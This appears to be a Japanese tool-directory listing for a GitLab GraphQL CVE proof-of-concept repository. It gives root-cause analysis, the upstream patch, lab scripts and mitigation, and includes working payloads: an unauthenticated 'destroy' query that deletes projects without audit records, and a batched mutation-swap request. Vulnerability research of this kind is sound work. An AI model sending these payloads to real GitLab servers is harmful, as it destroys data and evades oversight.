Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-19478 — 2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。 | Kitploit
ツール/GitHubGitHub/n0xdaemon/cve-2026-19478
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティ
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。

リポジトリを見る
3日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-19478 — GitLab GraphQL @gl_introduced バージョンフィルターの脆弱性

GitLabのGraphQLバージョンフィルター機能(@gl_introducedディレクティブ)に関連する2つのバグの再現ラボです。どちらも同じ機能領域に存在し、同じアップストリームパッチで修正され、いずれもGraphQLリクエストが宣言していないコードパスに到達できるようにします:

  • フォールバックフィールドのメソッド実行 — 単一の、認証なしの、バッチ化されていないクエリで、存在しないフィールドを指定して@gl_introducedを付けるだけで、任意のGraphQLタイプの背後にあるモデル上で任意のゼロ引数メソッド(例:destroy)を呼び出すことができます。
  • オペレーション間のドキュメントすり替え — バッチ(マルチプレックス)リクエストにおいて、あるオペレーションのパース済みクエリドキュメントが別のオペレーションのものとして差し替えられ、無害な読み取りを宣言したスロットが別のスロットのミューテーションを実行してしまう可能性があります。

リポジトリ構成

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

src/ 配下はすべてアップストリームソースの逐語そのままであり、再実装は一切されていません。ローダーは src/vuln または src/patched を src/common の上に重ねます。


1. 根本原因

1a. フォールバックフィールド → graphql-rubyのデフォルトメソッド解決

Gitlab::Graphql::VersionFilter::FutureFieldFallback により、クエリは、型にまだ存在しないフィールドを参照してもリクエストが失敗しなくなります。これはローリングデプロイを想定したもので、古いノードのスキーマに、新しいノードがすでに搭載しているフィールドがまだ存在しない場合を対象としています。その get_field オーバーライドは、要求されたフィールドが欠落しているかつリクエストが contain_future_fields とフラグ付けされているかをチェックし、その場合、例外を発生させる代わりに合成フィールドを返します:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

問題は、この GraphQL::Schema::Field がリゾルバメソッドもリゾルバクラスもブロックも持たずに構築されることです。その後、graphql-ruby自身のデフォルトフィールド解決が適用されます(graphql gem 2.6.3、lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym はフィールド名をアンダースコア化したもの、つまり攻撃者がクエリに入れた文字列そのものです。GraphQLタイプの背後にあるオブジェクト(ActiveRecordモデル)に、たまたまその名前の実在するゼロ引数のパブリックメソッドがあれば、graphql-rubyはそれを呼び出し、(型強制された)結果を返します。fallback_value: nil はメソッドが本当に存在しない場合にのみ適用されます。実在するメソッドの実行を止める効果は一切ありません。

つまり、任意のタイプに対して、実際に存在する破壊的メソッドの名前(例:destroy)をフィールドとしてクエリし、@gl_introduced を付けて実行まで生き残らせれば、そのメソッドが実行されます。

1b. オペレーション間のドキュメントすり替え

IntroducedTracer は、バージョンフィルター機能の残りを2つのgraphql-rubyトレースフック — parse(オペレーションごとに1回)と execute_query(オペレーションごとに1回)— にわたって実装しています。脆弱なビルドでは、トレースオブジェクト上のプレーンなインスタンス変数にオペレーションごとの状態を格納しています:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

問題は、graphql-rubyがマルチプレックスリクエスト内のすべてのオペレーションに対して1つのトレースインスタンスを共有し、すべてのオペレーションを実行前にパースすることです。 したがって、2オペレーションのバッチでは:

  1. parse(op1) → @original_query_document = op1_doc、@contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc、@contain_future_fields = true (op2は @gl_introduced フューチャーフィールドを持つ)

パース後、最後のオペレーションの状態だけが残ります。そして実行が始まります:

  1. execute_query(op1) → フラグは true なので、op1のドキュメントはop2_docで上書きされ、再準備される → op1のスロットがop2のオペレーションを実行します。

op1 は読み取りを宣言しましたが、実行されるのは op2 の書き込みです。

修正内容

patch-19.2.2-to-19.2.4.diff は両方を修正します:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. エクスプロイトの流れ

2a. フォールバックフィールド — 単一リクエスト、認証なし、バッチなし

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Authorization ヘッダーはありません。1オペレーションで、バッチでもありません。destroy は Project の実際のフィールドではありません — スキーマにはまったく存在しません — しかし、ディレクティブによって FutureFieldFilter は静的検証の前にそれを取り除き、実行時に contain_future_fields を作動させ、get_field は destroy という名前のリゾルバなしフィールドを返し、graphql-rubyは project.public_send(:destroy) を呼び出します。

ライブで検証済み(evidence/live_vuln_fallback_field.txt、3つの別々の使い捨てプロジェクトに対して3回再現):パブリックプロジェクトに対して送信したところ、レスポンスは {"data":{"project":{"id":"...","destroy":true}}} でした。その後の認証付きRESTチェック(GET /api/v4/projects/:id)は 404 を返しました — プロジェクトは実際に消えていました。その呼び出しのリクエストログには、同期データベース書き込みが9回、新しい AuditEvent 行はゼロと記録されています:この呼び出しは Projects::DestroyService を完全にバイパスし(それに伴い監査証跡、ウェブフック、通知もすべてバイパス)、GraphQLのデフォルトフィールド解決を通じて直接呼び出される生の ActiveRecord#destroy カスケードです。

2b. オペレーション間のドキュメントすり替え — バッチが必要

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2ペイロード — @gl_introduced ディレクティブは実在するフィールドに付いていればよく、それによってパース時に FutureFieldFilter が contain_future_fields を立ててすり替えを作動させます:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

ライブで検証済み(evidence/live_vuln.txt):query { currentUser { username } } を宣言したスロット1が {"data":{"starProject":{"count":"0"}}} を返し、プロジェクトのスター数が 1 → 0 に変化します。


3. PoCの実行

PoC #1 — ライブHTTPエクスプロイト、フォールバックフィールドのメソッド実行

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

このスクリプトは、認証付きREST APIを介して使い捨てのパブリックプロジェクトを作成し(セットアップのみ)、@gl_introduced が付いた destroy フィールドを指定する1つの認証なしGraphQLクエリを送信し、その後、認証付きRESTでプロジェクトを再確認します。プロジェクトが消えていれば VULNERABLE と判定します。

PoC #2 — ライブHTTPエクスプロイト、オペレーション間のドキュメントすり替え

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

このスクリプトはベースラインのスター状態を読み取り、2オペレーションのバッチを送信し、読み取りを宣言したスロット1が starProject ペイロードを返した場合(および/またはスター数が変化した場合)に VULNERABLE と判定します。

PoC #3 — スタンドアロンで根本原因を再現、ドキュメントすり替え(GitLab不要)

Gitlab::Graphql::VersionFilter を小さなgraphql-rubyアプリに隔離し、GitLabのノイズを一切含めずにすり替えを確認できるようにします。実際のアップストリームソースを読み込みます。

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. 影響

両方のベクターは gitlab/gitlab-ce:19.2.2-ce.0 に対してライブで確認されています。GitLabのスタックの異なる層に到達するため、認可における露出はそれぞれ異なります。

フォールバックフィールド(1a):認証なしで確認済み、破壊的

トークンなし、バッチなし、クエリ1つ。レスポンスはメソッドの結果を直接返し("destroy": true)、基になるレコードは実際に破棄されます — 認証付きREST(404)とサーバーサイドの証拠(AuditEvent 行がゼロ、1リクエストで9回の同期書き込み)の両方で確認済みであり、GitLabの通常の削除サービスを完全にバイパスすることを意味します。3つの別々の使い捨てプロジェクトに対して独立に3回再現しました。バッキングオブジェクトが実在するゼロ引数の破壊的メソッドを公開している任意のGraphQLタイプが候補となります。

オペレーション間すり替え(1b):認証付きで確認済み、匿名時はゲートあり

api スコープを持つ任意のトークンがあれば、読み取りを宣言したオペレーションが、決して要求していない書き込みを実行します(スター数 1 → 0、query 型のスロットによって駆動)。トークンなしで送信した場合も、すり替えは依然として発動します — 読み取りスロットは実際に starProject に到達して解決します — しかし、すべてのGitLabミューテーションは Mutations::BaseMutation を継承しており、その self.authorized? ゲートは実行時に動作します:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

匿名リクエストの場合、current_user は nil であり、GlobalPolicy は rule { anonymous }.policy { prevent :execute_graphql_mutation } を実行します。認証なしで10通りのバッチ構成(順序、フィールド/サブフィールド/インラインフラグメント上のディレクティブ、2オペレーションおよび3オペレーションのバッチ)を網羅的に試しました:乗っ取られたスロットは毎回ゲートに当たり、スター数は決して動きません。

このゲートはミューテーションに固有のものです — 1aには一切関係がなく、1aは Mutations::BaseMutation にまったく触れません。フォールバックフィールドは、認可チェックを一切通さずに、プレーンなクエリ型フィールドとしてモデルに対して直接解決されます。

スタンドアロンPoC(#3)が1bで認証なしに見える理由

src/common/demo_app.rb には認可レイヤーがまったくありません — そのミューテーションは単に書き込むだけです。したがって、PoC #3は、認証のないサンドボックス内で、すり替えのメカニズム(読み取りスロットが書き込みを実行する)を示しています。実際のGitLabは、デモが省略している execute_graphql_mutation ゲートを、特に1bに対して強制します。この標準ビルドでは、資格情報なしのミューテーション駆動の書き込みは1b単独では到達できません。到達できるのは1a経由であり、1aはミューテーションを一切必要としません。


5. 緩和策

18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 以降にアップグレードしてください。修正(diffを参照)は2つのことを行います:future_field_fallback.rb は、graphql-rubyのデフォルトメソッドディスパッチに依存する代わりに、フォールバックフィールドに明示的なリゾルバ(常に nil を返す Resolvers::NilResolver)を提供して1aを修正します。introduced_tracer.rb は、トレーサーのオペレーションごとの状態を共有インスタンス変数の代わりに各オペレーション自身のドキュメントにスコープして1bを修正します。

ツールをダウンロード
影響を受けるバージョン
18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
修正済みバージョン18.11.11, 19.0.8, 19.1.6, 19.2.4
ラボの対象gitlab/gitlab-ce:19.2.2-ce.0 (修正前の最後のビルド)
トリガーGraphQL @gl_introduced ディレクティブ、単独またはバッチ内